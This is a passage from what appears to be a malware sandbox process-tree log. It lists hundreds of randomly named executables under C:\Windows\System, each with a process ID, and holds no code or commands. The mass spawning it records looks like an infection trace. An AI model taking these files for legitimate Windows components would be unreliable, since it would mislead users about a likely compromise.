  C:\Windows\System\mJgxnJP.exe
  2⤵
  PID:12736
- C:\Windows\System\hGFvFnk.exe
  C:\Windows\System\hGFvFnk.exe
  2⤵
  PID:12752
- C:\Windows\System\bjZgpno.exe
  C:\Windows\System\bjZgpno.exe
  2⤵
  PID:13228
- C:\Windows\System\VJeNdhe.exe
  C:\Windows\System\VJeNdhe.exe
  2⤵
  PID:11900
- C:\Windows\System\qssAinm.exe
  C:\Windows\System\qssAinm.exe
  2⤵
  PID:11308
- C:\Windows\System\uWPeRYZ.exe
  C:\Windows\System\uWPeRYZ.exe
  2⤵
  PID:11484
- C:\Windows\System\UaOTykj.exe
  C:\Windows\System\UaOTykj.exe
  2⤵
  PID:9756
- C:\Windows\System\VFzNYoS.exe
  C:\Windows\System\VFzNYoS.exe
  2⤵
  PID:11552
- C:\Windows\System\nCXHReJ.exe
  C:\Windows\System\nCXHReJ.exe
  2⤵
  PID:12144
- C:\Windows\System\QpcgnpM.exe
  C:\Windows\System\QpcgnpM.exe
  2⤵
  PID:12236
- C:\Windows\System\gShvrrQ.exe
  C:\Windows\System\gShvrrQ.exe
  2⤵
  PID:12336
- C:\Windows\System\NDbQiUb.exe
  C:\Windows\System\NDbQiUb.exe
  2⤵
  PID:12948
- C:\Windows\System\mdrdrfz.exe
  C:\Windows\System\mdrdrfz.exe
  2⤵
  PID:10376
- C:\Windows\System\iSjeBlj.exe
  C:\Windows\System\iSjeBlj.exe
  2⤵
  PID:10508
- C:\Windows\System\fIstWFF.exe
  C:\Windows\System\fIstWFF.exe
  2⤵
  PID:10704
- C:\Windows\System\QGeVlZC.exe
  C:\Windows\System\QGeVlZC.exe
  2⤵
  PID:12424
- C:\Windows\System\OGvONKA.exe
  C:\Windows\System\OGvONKA.exe
  2⤵
  PID:7496
- C:\Windows\System\UqdMoSX.exe
  C:\Windows\System\UqdMoSX.exe
  2⤵
  PID:10288
- C:\Windows\System\iWquyHp.exe
  C:\Windows\System\iWquyHp.exe
  2⤵
  PID:11572
- C:\Windows\System\RRvDFMy.exe
  C:\Windows\System\RRvDFMy.exe
  2⤵
  PID:9788
- C:\Windows\System\HWkHIee.exe
  C:\Windows\System\HWkHIee.exe
  2⤵
  PID:12364
- C:\Windows\System\uXhVdMe.exe
  C:\Windows\System\uXhVdMe.exe
  2⤵
  PID:12528
- C:\Windows\System\sCxwgZD.exe
  C:\Windows\System\sCxwgZD.exe
  2⤵
  PID:13180
- C:\Windows\System\syJLOLu.exe
  C:\Windows\System\syJLOLu.exe
  2⤵
  PID:4144
- C:\Windows\System\TzMgUfx.exe
  C:\Windows\System\TzMgUfx.exe
  2⤵
  PID:12796
- C:\Windows\System\xQFgsbj.exe
  C:\Windows\System\xQFgsbj.exe
  2⤵
  PID:12824
- C:\Windows\System\nCUGOaR.exe
  C:\Windows\System\nCUGOaR.exe
  2⤵
  PID:12876
- C:\Windows\System\bnhDeWH.exe
  C:\Windows\System\bnhDeWH.exe
  2⤵
  PID:12284
- C:\Windows\System\ySqMCrV.exe
  C:\Windows\System\ySqMCrV.exe
  2⤵
  PID:13100
- C:\Windows\System\ZEoXhzd.exe
  C:\Windows\System\ZEoXhzd.exe
  2⤵
  PID:13168
- C:\Windows\System\BpbkTmf.exe
  C:\Windows\System\BpbkTmf.exe
  2⤵
  PID:13196
- C:\Windows\System\NLQRYbx.exe
  C:\Windows\System\NLQRYbx.exe
  2⤵
  PID:13216
- C:\Windows\System\jKBRjxb.exe
  C:\Windows\System\jKBRjxb.exe
  2⤵
  PID:11400
- C:\Windows\System\dbBTbhZ.exe
  C:\Windows\System\dbBTbhZ.exe
  2⤵
  PID:9112
- C:\Windows\System\rwWKpUJ.exe
  C:\Windows\System\rwWKpUJ.exe
  2⤵
  PID:9596
- C:\Windows\System\Nundjfm.exe
  C:\Windows\System\Nundjfm.exe
  2⤵
  PID:12432
- C:\Windows\System\oYZGwQf.exe
  C:\Windows\System\oYZGwQf.exe
  2⤵
  PID:13156
- C:\Windows\System\HzUtCxT.exe
  C:\Windows\System\HzUtCxT.exe
  2⤵
  PID:13300
- C:\Windows\System\vUdqDiW.exe
  C:\Windows\System\vUdqDiW.exe
  2⤵
  PID:10484
- C:\Windows\System\WALgCsd.exe
  C:\Windows\System\WALgCsd.exe
  2⤵
  PID:12000
- C:\Windows\System\KEKvHUd.exe
  C:\Windows\System\KEKvHUd.exe
  2⤵
  PID:12884
- C:\Windows\System\GqCcUkI.exe
  C:\Windows\System\GqCcUkI.exe
  2⤵
  PID:11380
- C:\Windows\System\HSvrKYq.exe
  C:\Windows\System\HSvrKYq.exe
  2⤵
  PID:3776
- C:\Windows\System\RAmgPHP.exe
  C:\Windows\System\RAmgPHP.exe
  2⤵
  PID:2828
- C:\Windows\System\RXOtTmc.exe
  C:\Windows\System\RXOtTmc.exe
  2⤵
  PID:13256
- C:\Windows\System\kIsTrZx.exe
  C:\Windows\System\kIsTrZx.exe
  2⤵
  PID:548
- C:\Windows\System\WWWHtdB.exe
  C:\Windows\System\WWWHtdB.exe
  2⤵
  PID:10692
- C:\Windows\System\lMpGBuz.exe
  C:\Windows\System\lMpGBuz.exe
  2⤵
  PID:13284
- C:\Windows\System\AUkXgdU.exe
  C:\Windows\System\AUkXgdU.exe
  2⤵
  PID:11260
- C:\Windows\System\MXtrpwn.exe
  C:\Windows\System\MXtrpwn.exe
  2⤵
  PID:10560
- C:\Windows\System\ZEYfMsQ.exe
  C:\Windows\System\ZEYfMsQ.exe
  2⤵
  PID:1532
- C:\Windows\System\uDFWSDr.exe
  C:\Windows\System\uDFWSDr.exe
  2⤵
  PID:12864
- C:\Windows\System\RTcYDtd.exe
  C:\Windows\System\RTcYDtd.exe
  2⤵
  PID:12728
- C:\Windows\System\KPaQSOL.exe
  C:\Windows\System\KPaQSOL.exe
  2⤵
  PID:5116
- C:\Windows\System\GDdhPiz.exe
  C:\Windows\System\GDdhPiz.exe
  2⤵
  PID:11912
- C:\Windows\System\blWmKjZ.exe
  C:\Windows\System\blWmKjZ.exe
  2⤵
  PID:2464
- C:\Windows\System\iTgdmMk.exe
  C:\Windows\System\iTgdmMk.exe
  2⤵
  PID:4904
- C:\Windows\System\nspEiYC.exe
  C:\Windows\System\nspEiYC.exe
  2⤵
  PID:4524
- C:\Windows\System\SAClpqj.exe
  C:\Windows\System\SAClpqj.exe
  2⤵
  PID:10608
- C:\Windows\System\pgwOzZM.exe
  C:\Windows\System\pgwOzZM.exe
  2⤵
  PID:10588
- C:\Windows\System\mICcceM.exe
  C:\Windows\System\mICcceM.exe
  2⤵
  PID:11080
- C:\Windows\System\osjtXFg.exe
  C:\Windows\System\osjtXFg.exe
  2⤵
  PID:13240
- C:\Windows\System\vlprtpw.exe
  C:\Windows\System\vlprtpw.exe
  2⤵
  PID:13244
- C:\Windows\System\VnSUuib.exe
  C:\Windows\System\VnSUuib.exe
  2⤵
  PID:12148
- C:\Windows\System\rsddVSe.exe
  C:\Windows\System\rsddVSe.exe
  2⤵
  PID:12748
- C:\Windows\System\BitcTTY.exe
  C:\Windows\System\BitcTTY.exe
  2⤵
  PID:5004
- C:\Windows\System\vajPdcA.exe
  C:\Windows\System\vajPdcA.exe
  2⤵
  PID:12312
- C:\Windows\System\lePOREX.exe
  C:\Windows\System\lePOREX.exe
  2⤵
  PID:13176
- C:\Windows\System\UsykktK.exe
  C:\Windows\System\UsykktK.exe
  2⤵
  PID:12412
- C:\Windows\System\FweAeRp.exe
  C:\Windows\System\FweAeRp.exe
  2⤵
  PID:12328
- C:\Windows\System\QBafBcP.exe
  C:\Windows\System\QBafBcP.exe
  2⤵
  PID:12092
- C:\Windows\System\SsdPYpW.exe
  C:\Windows\System\SsdPYpW.exe
  2⤵
  PID:13292
- C:\Windows\System\bvvFCJr.exe
  C:\Windows\System\bvvFCJr.exe
  2⤵
  PID:9172
- C:\Windows\System\kGhTqAL.exe
  C:\Windows\System\kGhTqAL.exe
  2⤵
  PID:2612
- C:\Windows\System\pnNkRNg.exe
  C:\Windows\System\pnNkRNg.exe
  2⤵
  PID:3440
- C:\Windows\System\mztTbaw.exe
  C:\Windows\System\mztTbaw.exe
  2⤵
  PID:1340
- C:\Windows\System\wdYWVln.exe
  C:\Windows\System\wdYWVln.exe
  2⤵
  PID:4824
- C:\Windows\System\iLCKhQe.exe
  C:\Windows\System\iLCKhQe.exe
  2⤵
  PID:12812
- C:\Windows\System\MCVjMQZ.exe
  C:\Windows\System\MCVjMQZ.exe
  2⤵
  PID:3200
- C:\Windows\System\wQLkqea.exe
  C:\Windows\System\wQLkqea.exe
  2⤵
  PID:3292
- C:\Windows\System\gOOiaKk.exe
  C:\Windows\System\gOOiaKk.exe
  2⤵
  PID:4408
- C:\Windows\System\kcJucQv.exe
  C:\Windows\System\kcJucQv.exe
  2⤵
  PID:4196
- C:\Windows\System\HVEQzVD.exe
  C:\Windows\System\HVEQzVD.exe
  2⤵
  PID:4868
- C:\Windows\System\sEIDKHM.exe
  C:\Windows\System\sEIDKHM.exe
  2⤵
  PID:11172
- C:\Windows\System\OhspGut.exe
  C:\Windows\System\OhspGut.exe
  2⤵
  PID:12352
- C:\Windows\System\CXdANhQ.exe
  C:\Windows\System\CXdANhQ.exe
  2⤵
  PID:12956
- C:\Windows\System\MSpCPUR.exe
  C:\Windows\System\MSpCPUR.exe
  2⤵
  PID:13200
- C:\Windows\System\HHAOGzF.exe
  C:\Windows\System\HHAOGzF.exe
  2⤵
  PID:4888
- C:\Windows\System\OnwKEba.exe
  C:\Windows\System\OnwKEba.exe
  2⤵
  PID:10984
- C:\Windows\System\xBLyrMA.exe
  C:\Windows\System\xBLyrMA.exe
  2⤵
  PID:12788
- C:\Windows\System\iiVJKle.exe
  C:\Windows\System\iiVJKle.exe
  2⤵
  PID:12572
- C:\Windows\System\jOOjbTR.exe
  C:\Windows\System\jOOjbTR.exe
  2⤵
  PID:4148
- C:\Windows\System\IaraeKb.exe
  C:\Windows\System\IaraeKb.exe
  2⤵
  PID:13152
- C:\Windows\System\eKQgdas.exe
  C:\Windows\System\eKQgdas.exe
  2⤵
  PID:12792
- C:\Windows\System\jaNwwpB.exe
  C:\Windows\System\jaNwwpB.exe
  2⤵
  PID:3724
- C:\Windows\System\OaYLWTP.exe
  C:\Windows\System\OaYLWTP.exe
  2⤵
  PID:1296
- C:\Windows\System\ILyWVCg.exe
  C:\Windows\System\ILyWVCg.exe
  2⤵
  PID:1636
- C:\Windows\System\xFUKauY.exe
  C:\Windows\System\xFUKauY.exe
  2⤵
  PID:13060
- C:\Windows\System\gDottVk.exe
  C:\Windows\System\gDottVk.exe
  2⤵
  PID:4028
- C:\Windows\System\NFWgVNb.exe
  C:\Windows\System\NFWgVNb.exe
  2⤵
  PID:1396
- C:\Windows\System\tCbhwFy.exe
  C:\Windows\System\tCbhwFy.exe
  2⤵
  PID:11004
- C:\Windows\System\kbWlnqb.exe
  C:\Windows\System\kbWlnqb.exe
  2⤵
  PID:13092
- C:\Windows\System\yObppti.exe
  C:\Windows\System\yObppti.exe
  2⤵
  PID:4924
- C:\Windows\System\njBgEPB.exe
  C:\Windows\System\njBgEPB.exe
  2⤵
  PID:13192
- C:\Windows\System\vYxhfWu.exe
  C:\Windows\System\vYxhfWu.exe
  2⤵
  PID:2536
- C:\Windows\System\TnZdeqv.exe
  C:\Windows\System\TnZdeqv.exe
  2⤵
  PID:12764
- C:\Windows\System\RXWZdYL.exe
  C:\Windows\System\RXWZdYL.exe
  2⤵
  PID:3996
- C:\Windows\System\MIDxLgy.exe
  C:\Windows\System\MIDxLgy.exe
  2⤵
  PID:696
- C:\Windows\System\LfihLbW.exe
  C:\Windows\System\LfihLbW.exe
  2⤵
  PID:752
- C:\Windows\System\GsEXNDu.exe
  C:\Windows\System\GsEXNDu.exe
  2⤵
  PID:13320
- C:\Windows\System\czOEjds.exe
  C:\Windows\System\czOEjds.exe
  2⤵
  PID:13344
- C:\Windows\System\RQqqGEs.exe
  C:\Windows\System\RQqqGEs.exe
  2⤵
  PID:13360
- C:\Windows\System\YjZnFOu.exe
  C:\Windows\System\YjZnFOu.exe
  2⤵
  PID:13376
- C:\Windows\System\aQIRUJA.exe
  C:\Windows\System\aQIRUJA.exe
  2⤵
  PID:13396
- C:\Windows\System\rUyCsjN.exe
  C:\Windows\System\rUyCsjN.exe
  2⤵
  PID:13412
- C:\Windows\System\eJoGbtz.exe
  C:\Windows\System\eJoGbtz.exe
  2⤵
  PID:13440
- C:\Windows\System\hTIHsly.exe
  C:\Windows\System\hTIHsly.exe
  2⤵
  PID:13492
- C:\Windows\System\opLSpqm.exe
  C:\Windows\System\opLSpqm.exe
  2⤵
  PID:13516
- C:\Windows\System\yNnaPIz.exe
  C:\Windows\System\yNnaPIz.exe
  2⤵
  PID:13544
- C:\Windows\System\gFyfAQX.exe
  C:\Windows\System\gFyfAQX.exe
  2⤵
  PID:13560
- C:\Windows\System\cUIfLJc.exe
  C:\Windows\System\cUIfLJc.exe
  2⤵
  PID:13576
- C:\Windows\System\dnluAZY.exe
  C:\Windows\System\dnluAZY.exe
  2⤵
  PID:13592
- C:\Windows\System\ysGztNG.exe
  C:\Windows\System\ysGztNG.exe
  2⤵
  PID:13608
- C:\Windows\System\FozCqdm.exe
  C:\Windows\System\FozCqdm.exe
  2⤵
  PID:13632
- C:\Windows\System\AYSCXaQ.exe
  C:\Windows\System\AYSCXaQ.exe
  2⤵
  PID:13648
- C:\Windows\System\uIlYwns.exe
  C:\Windows\System\uIlYwns.exe
  2⤵
  PID:13668
- C:\Windows\System\ZURWwdA.exe
  C:\Windows\System\ZURWwdA.exe
  2⤵
  PID:13688
- C:\Windows\System\bnzHFAH.exe
  C:\Windows\System\bnzHFAH.exe
  2⤵
  PID:13708
- C:\Windows\System\eJiHaZt.exe
  C:\Windows\System\eJiHaZt.exe
  2⤵
  PID:13728
- C:\Windows\System\HCViRbL.exe
  C:\Windows\System\HCViRbL.exe
  2⤵
  PID:13744
- C:\Windows\System\jxMKBtS.exe
  C:\Windows\System\jxMKBtS.exe
  2⤵
  PID:13760
- C:\Windows\System\dfKjuHf.exe
  C:\Windows\System\dfKjuHf.exe
  2⤵
  PID:13776
- C:\Windows\System\CXWiLFH.exe
  C:\Windows\System\CXWiLFH.exe
  2⤵
  PID:13792
- C:\Windows\System\iAwlilJ.exe
  C:\Windows\System\iAwlilJ.exe
  2⤵
  PID:13808
- C:\Windows\System\OoJJTvb.exe
  C:\Windows\System\OoJJTvb.exe
  2⤵
  PID:13860
- C:\Windows\System\fYEEpBZ.exe
  C:\Windows\System\fYEEpBZ.exe
  2⤵
  PID:13884
- C:\Windows\System\kHbbIla.exe
  C:\Windows\System\kHbbIla.exe
  2⤵
  PID:13920
- C:\Windows\System\cmqbNXE.exe
  C:\Windows\System\cmqbNXE.exe
  2⤵
  PID:13948
- C:\Windows\System\PxwZJaw.exe
  C:\Windows\System\PxwZJaw.exe
  2⤵
  PID:13964
- C:\Windows\System\JsJHDyt.exe
  C:\Windows\System\JsJHDyt.exe
  2⤵
  PID:13984
- C:\Windows\System\GoiTbIR.exe
  C:\Windows\System\GoiTbIR.exe
  2⤵
  PID:14000
- C:\Windows\System\sziANve.exe
  C:\Windows\System\sziANve.exe
  2⤵
  PID:14016
- C:\Windows\System\gmZhMxQ.exe
  C:\Windows\System\gmZhMxQ.exe
  2⤵
  PID:14032
- C:\Windows\System\duGPSYy.exe
  C:\Windows\System\duGPSYy.exe
  2⤵
  PID:14048
- C:\Windows\System\rseLaXY.exe
  C:\Windows\System\rseLaXY.exe
  2⤵
  PID:14068
- C:\Windows\System\NCKssje.exe
  C:\Windows\System\NCKssje.exe
  2⤵
  PID:14088
- C:\Windows\System\azRqvhy.exe
  C:\Windows\System\azRqvhy.exe
  2⤵
  PID:14104
- C:\Windows\System\WYPQPRT.exe
  C:\Windows\System\WYPQPRT.exe
  2⤵
  PID:14120
- C:\Windows\System\bGNcPla.exe
  C:\Windows\System\bGNcPla.exe
  2⤵
  PID:14140
- C:\Windows\System\rdOjMvL.exe
  C:\Windows\System\rdOjMvL.exe
  2⤵
  PID:14184
- C:\Windows\System\BslrHlJ.exe
  C:\Windows\System\BslrHlJ.exe
  2⤵
  PID:14264
- C:\Windows\System\GTESrRw.exe
  C:\Windows\System\GTESrRw.exe
  2⤵
  PID:14304
- C:\Windows\System\uYSNMYu.exe
  C:\Windows\System\uYSNMYu.exe
  2⤵
  PID:2532
- C:\Windows\System\BgHvpXu.exe
  C:\Windows\System\BgHvpXu.exe
  2⤵
  PID:13340
- C:\Windows\System\iTJnryC.exe
  C:\Windows\System\iTJnryC.exe
  2⤵
  PID:13328
- C:\Windows\System\bAhqelY.exe
  C:\Windows\System\bAhqelY.exe
  2⤵
  PID:13384
- C:\Windows\System\hWmrFzH.exe
  C:\Windows\System\hWmrFzH.exe
  2⤵
  PID:13408
- C:\Windows\System\ZlkitYz.exe
  C:\Windows\System\ZlkitYz.exe
  2⤵
  PID:13336
- C:\Windows\System\oRsNvut.exe
  C:\Windows\System\oRsNvut.exe
  2⤵
  PID:1852
- C:\Windows\System\FwyHyRR.exe
  C:\Windows\System\FwyHyRR.exe
  2⤵
  PID:4704
- C:\Windows\System\SRjYDrV.exe
  C:\Windows\System\SRjYDrV.exe
  2⤵
  PID:4204
- C:\Windows\System\YISZRuB.exe
  C:\Windows\System\YISZRuB.exe
  2⤵
  PID:13432
- C:\Windows\System\PJDdgKw.exe
  C:\Windows\System\PJDdgKw.exe
  2⤵
  PID:13620
- C:\Windows\System\TePXNJu.exe
  C:\Windows\System\TePXNJu.exe
  2⤵
  PID:3492
- C:\Windows\System\wPEYYZF.exe
  C:\Windows\System\wPEYYZF.exe
  2⤵
  PID:936
- C:\Windows\System\VIwWHMg.exe
  C:\Windows\System\VIwWHMg.exe
  2⤵
  PID:13616
- C:\Windows\System\BQLkxrE.exe
  C:\Windows\System\BQLkxrE.exe
  2⤵
  PID:13916
- C:\Windows\System\qqEQoRl.exe
  C:\Windows\System\qqEQoRl.exe
  2⤵
  PID:13828
- C:\Windows\System\drfxEyo.exe
  C:\Windows\System\drfxEyo.exe
  2⤵
  PID:13800
- C:\Windows\System\FIwNteg.exe
  C:\Windows\System\FIwNteg.exe
  2⤵
  PID:13856
- C:\Windows\System\WmxeZLQ.exe
  C:\Windows\System\WmxeZLQ.exe
  2⤵
  PID:14168
- C:\Windows\System\vOWhPbw.exe
  C:\Windows\System\vOWhPbw.exe
  2⤵
  PID:14208
- C:\Windows\System\oLYRgIn.exe
  C:\Windows\System\oLYRgIn.exe
  2⤵
  PID:13816
- C:\Windows\System\KXbrzeZ.exe
  C:\Windows\System\KXbrzeZ.exe
  2⤵
  PID:13868
- C:\Windows\System\fbxobYP.exe
  C:\Windows\System\fbxobYP.exe
  2⤵
  PID:13836
- C:\Windows\System\PYSuvpe.exe
  C:\Windows\System\PYSuvpe.exe
  2⤵
  PID:14204
- C:\Windows\System\fiFkGBz.exe
  C:\Windows\System\fiFkGBz.exe
  2⤵
  PID:13904
- C:\Windows\System\gYXPSIB.exe
  C:\Windows\System\gYXPSIB.exe
  2⤵
  PID:13960
- C:\Windows\System\bKJXzTE.exe
  C:\Windows\System\bKJXzTE.exe
  2⤵
  PID:14008
- C:\Windows\System\yReUbzw.exe
  C:\Windows\System\yReUbzw.exe
  2⤵
  PID:14044
- C:\Windows\System\QuyKyjh.exe
  C:\Windows\System\QuyKyjh.exe
  2⤵
  PID:14132
- C:\Windows\System\JvAxouh.exe
  C:\Windows\System\JvAxouh.exe
  2⤵
  PID:14164
- C:\Windows\System\glFYxVt.exe
  C:\Windows\System\glFYxVt.exe
  2⤵
  PID:14196
- C:\Windows\System\KVBqhYG.exe
  C:\Windows\System\KVBqhYG.exe
  2⤵
  PID:14232
- C:\Windows\System\GIclCfT.exe
  C:\Windows\System\GIclCfT.exe
  2⤵
  PID:1812
- C:\Windows\System\DOPGRJu.exe
  C:\Windows\System\DOPGRJu.exe
  2⤵
  PID:14288
- C:\Windows\System\azaZfMv.exe
  C:\Windows\System\azaZfMv.exe
  2⤵
  PID:3224
- C:\Windows\System\hwVBxNy.exe
  C:\Windows\System\hwVBxNy.exe
  2⤵
  PID:14260
- C:\Windows\System\zcABqVI.exe
  C:\Windows\System\zcABqVI.exe
  2⤵
  PID:14280
- C:\Windows\System\kqEYrxW.exe
  C:\Windows\System\kqEYrxW.exe
  2⤵
  PID:384
- C:\Windows\System\IrrOiHs.exe
  C:\Windows\System\IrrOiHs.exe
  2⤵
  PID:13448
- C:\Windows\System\HjPkTGv.exe
  C:\Windows\System\HjPkTGv.exe
  2⤵
  PID:12508
- C:\Windows\System\oQcpsIC.exe
  C:\Windows\System\oQcpsIC.exe
  2⤵
  PID:2104
- C:\Windows\System\fLvaGTe.exe
  C:\Windows\System\fLvaGTe.exe
  2⤵
  PID:13552
- C:\Windows\System\LvBoCKV.exe
  C:\Windows\System\LvBoCKV.exe
  2⤵
  PID:13572
- C:\Windows\System\cQyEsCt.exe
  C:\Windows\System\cQyEsCt.exe
  2⤵
  PID:13372
- C:\Windows\System\SmIbNVg.exe
  C:\Windows\System\SmIbNVg.exe
  2⤵
  PID:13356
- C:\Windows\System\POehuFE.exe
  C:\Windows\System\POehuFE.exe
  2⤵
  PID:13476
- C:\Windows\System\CghMUcE.exe
  C:\Windows\System\CghMUcE.exe
  2⤵
  PID:13536
- C:\Windows\System\VLJnFgI.exe
  C:\Windows\System\VLJnFgI.exe
  2⤵
  PID:13660
- C:\Windows\System\zBjpbaw.exe
  C:\Windows\System\zBjpbaw.exe
  2⤵
  PID:13588
- C:\Windows\System\ZDYRSYV.exe
  C:\Windows\System\ZDYRSYV.exe
  2⤵
  PID:14116
- C:\Windows\System\zRjGiku.exe
  C:\Windows\System\zRjGiku.exe
  2⤵
  PID:13804
- C:\Windows\System\AbYLwKd.exe
  C:\Windows\System\AbYLwKd.exe
  2⤵
  PID:13716
- C:\Windows\System\tTrzMWK.exe
  C:\Windows\System\tTrzMWK.exe
  2⤵
  PID:408
- C:\Windows\System\dRyxift.exe
  C:\Windows\System\dRyxift.exe
  2⤵
  PID:13976
- C:\Windows\System\CuzzTlL.exe
  C:\Windows\System\CuzzTlL.exe
  2⤵
  PID:14236
- C:\Windows\System\kUyDmcq.exe
  C:\Windows\System\kUyDmcq.exe
  2⤵
  PID:10360
- C:\Windows\System\adbPTMb.exe
  C:\Windows\System\adbPTMb.exe
  2⤵
  PID:1492
- C:\Windows\System\MJSvjhJ.exe
  C:\Windows\System\MJSvjhJ.exe
  2⤵
  PID:13852
- C:\Windows\System\joecpuQ.exe
  C:\Windows\System\joecpuQ.exe
  2⤵
  PID:14192
- C:\Windows\System\TzDsqMT.exe
  C:\Windows\System\TzDsqMT.exe
  2⤵
  PID:13876
- C:\Windows\System\qMYcfvE.exe
  C:\Windows\System\qMYcfvE.exe
  2⤵
  PID:13936
- C:\Windows\System\wkHCUNf.exe
  C:\Windows\System\wkHCUNf.exe
  2⤵
  PID:13900
- C:\Windows\System\UxXCeca.exe
  C:\Windows\System\UxXCeca.exe
  2⤵
  PID:14028
- C:\Windows\System\aclnYuG.exe
  C:\Windows\System\aclnYuG.exe
  2⤵
  PID:14056
- C:\Windows\System\RzwdRGg.exe
  C:\Windows\System\RzwdRGg.exe
  2⤵
  PID:14156
- C:\Windows\System\aAQmxzE.exe
  C:\Windows\System\aAQmxzE.exe
  2⤵
  PID:2152
- C:\Windows\System\pbVBiwY.exe
  C:\Windows\System\pbVBiwY.exe
  2⤵
  PID:13456
- C:\Windows\System\ncPFKLA.exe
  C:\Windows\System\ncPFKLA.exe
  2⤵
  PID:3988
- C:\Windows\System\uifVXHQ.exe
  C:\Windows\System\uifVXHQ.exe
  2⤵
  PID:4032
- C:\Windows\System\lyRDyfk.exe
  C:\Windows\System\lyRDyfk.exe
  2⤵
  PID:13524
- C:\Windows\System\ehlQVKd.exe
  C:\Windows\System\ehlQVKd.exe
  2⤵
  PID:14224
- C:\Windows\System\lyeZqqX.exe
  C:\Windows\System\lyeZqqX.exe
  2⤵
  PID:14328
- C:\Windows\System\gKMmVFj.exe
  C:\Windows\System\gKMmVFj.exe
  2⤵
  PID:11392
- C:\Windows\System\kPdxcRG.exe
  C:\Windows\System\kPdxcRG.exe
  2⤵
  PID:13556
- C:\Windows\System\cjihMQj.exe
  C:\Windows\System\cjihMQj.exe
  2⤵
  PID:4876
- C:\Windows\System\gpteqIn.exe
  C:\Windows\System\gpteqIn.exe
  2⤵
  PID:13584
- C:\Windows\System\IYGWMwk.exe
  C:\Windows\System\IYGWMwk.exe
  2⤵
  PID:13704
- C:\Windows\System\cUaNMPQ.exe
  C:\Windows\System\cUaNMPQ.exe
  2⤵
  PID:13752
- C:\Windows\System\FxEkIXq.exe
  C:\Windows\System\FxEkIXq.exe
  2⤵
  PID:13768
- C:\Windows\System\jTcujOI.exe
  C:\Windows\System\jTcujOI.exe
  2⤵
  PID:14080
- C:\Windows\System\WdFMxHs.exe
  C:\Windows\System\WdFMxHs.exe
  2⤵
  PID:4288
- C:\Windows\System\gpqCidB.exe
  C:\Windows\System\gpqCidB.exe
  2⤵
  PID:1244
- C:\Windows\System\GvUKvDT.exe
  C:\Windows\System\GvUKvDT.exe
  2⤵
  PID:13912
- C:\Windows\System\JSexMZI.exe
  C:\Windows\System\JSexMZI.exe
  2⤵
  PID:14064
- C:\Windows\System\qacchPx.exe
  C:\Windows\System\qacchPx.exe
  2⤵
  PID:14148
- C:\Windows\System\xVJqTei.exe
  C:\Windows\System\xVJqTei.exe
  2⤵
  PID:13488
- C:\Windows\System\AzKmuNu.exe
  C:\Windows\System\AzKmuNu.exe
  2⤵
  PID:2180
- C:\Windows\System\PBbHkAU.exe
  C:\Windows\System\PBbHkAU.exe
  2⤵
  PID:14244
- C:\Windows\System\NZiZHlj.exe
  C:\Windows\System\NZiZHlj.exe
  2⤵
  PID:528
- C:\Windows\System\faoDuNe.exe
  C:\Windows\System\faoDuNe.exe
  2⤵
  PID:1428
- C:\Windows\System\OmNGYsM.exe
  C:\Windows\System\OmNGYsM.exe
  2⤵
  PID:13640
- C:\Windows\System\MLXjgin.exe
  C:\Windows\System\MLXjgin.exe
  2⤵
  PID:13740
- C:\Windows\System\PKmzoxd.exe
  C:\Windows\System\PKmzoxd.exe
  2⤵
  PID:2976
- C:\Windows\System\VcynkYf.exe
  C:\Windows\System\VcynkYf.exe
  2⤵
  PID:388
- C:\Windows\System\jVIsKwY.exe
  C:\Windows\System\jVIsKwY.exe
  2⤵
  PID:14252
- C:\Windows\System\dbSuieI.exe
  C:\Windows\System\dbSuieI.exe
  2⤵
  PID:3844
- C:\Windows\System\zaUqlRw.exe
  C:\Windows\System\zaUqlRw.exe
  2⤵
  PID:13600
- C:\Windows\System\amgnRPs.exe
  C:\Windows\System\amgnRPs.exe
  2⤵
  PID:13428
- C:\Windows\System\BUCaaJh.exe
  C:\Windows\System\BUCaaJh.exe
  2⤵
  PID:14200
- C:\Windows\System\oWgzuKM.exe
  C:\Windows\System\oWgzuKM.exe
  2⤵
  PID:14180
- C:\Windows\System\rRxiftl.exe
  C:\Windows\System\rRxiftl.exe
  2⤵
  PID:14332
- C:\Windows\System\kWCOTAi.exe
  C:\Windows\System\kWCOTAi.exe
  2⤵
  PID:14100
- C:\Windows\System\JHTcYMw.exe
  C:\Windows\System\JHTcYMw.exe
  2⤵
  PID:13628
- C:\Windows\System\TRIvjOE.exe
  C:\Windows\System\TRIvjOE.exe
  2⤵
  PID:2964
- C:\Windows\System\JGNfXEy.exe
  C:\Windows\System\JGNfXEy.exe
  2⤵
  PID:14352
- C:\Windows\System\rYvPmQJ.exe
  C:\Windows\System\rYvPmQJ.exe
  2⤵
  PID:14368
- C:\Windows\System\GMSGRUy.exe
  C:\Windows\System\GMSGRUy.exe
  2⤵
  PID:14384
- C:\Windows\System\zXBlQno.exe
  C:\Windows\System\zXBlQno.exe
  2⤵
  PID:14400
- C:\Windows\System\iafpSnJ.exe
  C:\Windows\System\iafpSnJ.exe
  2⤵
  PID:14416
- C:\Windows\System\uCMwEbJ.exe
  C:\Windows\System\uCMwEbJ.exe
  2⤵
  PID:14432
- C:\Windows\System\aEEllQI.exe
  C:\Windows\System\aEEllQI.exe
  2⤵
  PID:14448
- C:\Windows\System\gMofIGQ.exe
  C:\Windows\System\gMofIGQ.exe
  2⤵
  PID:14472
- C:\Windows\System\embezDX.exe
  C:\Windows\System\embezDX.exe
  2⤵
  PID:14524
- C:\Windows\System\OENNXEi.exe
  C:\Windows\System\OENNXEi.exe
  2⤵
  PID:14540
- C:\Windows\System\DoqHUGr.exe
  C:\Windows\System\DoqHUGr.exe
  2⤵
  PID:14556
- C:\Windows\System\JgMbVHC.exe
  C:\Windows\System\JgMbVHC.exe
  2⤵
  PID:14572
- C:\Windows\System\OwagsrY.exe
  C:\Windows\System\OwagsrY.exe
  2⤵
  PID:14588
- C:\Windows\System\FPnagfV.exe
  C:\Windows\System\FPnagfV.exe
  2⤵
  PID:14604
- C:\Windows\System\BvTEuIm.exe
  C:\Windows\System\BvTEuIm.exe
  2⤵
  PID:14620
- C:\Windows\System\AMlRUHa.exe
  C:\Windows\System\AMlRUHa.exe
  2⤵
  PID:14636
- C:\Windows\System\EtjkqGI.exe
  C:\Windows\System\EtjkqGI.exe
  2⤵
  PID:14652
- C:\Windows\System\PBoQJdY.exe
  C:\Windows\System\PBoQJdY.exe
  2⤵
  PID:14668
- C:\Windows\System\YvgmMzs.exe
  C:\Windows\System\YvgmMzs.exe
  2⤵
  PID:14684
- C:\Windows\System\zBawJnp.exe
  C:\Windows\System\zBawJnp.exe
  2⤵
  PID:14700
- C:\Windows\System\yqBtKEx.exe
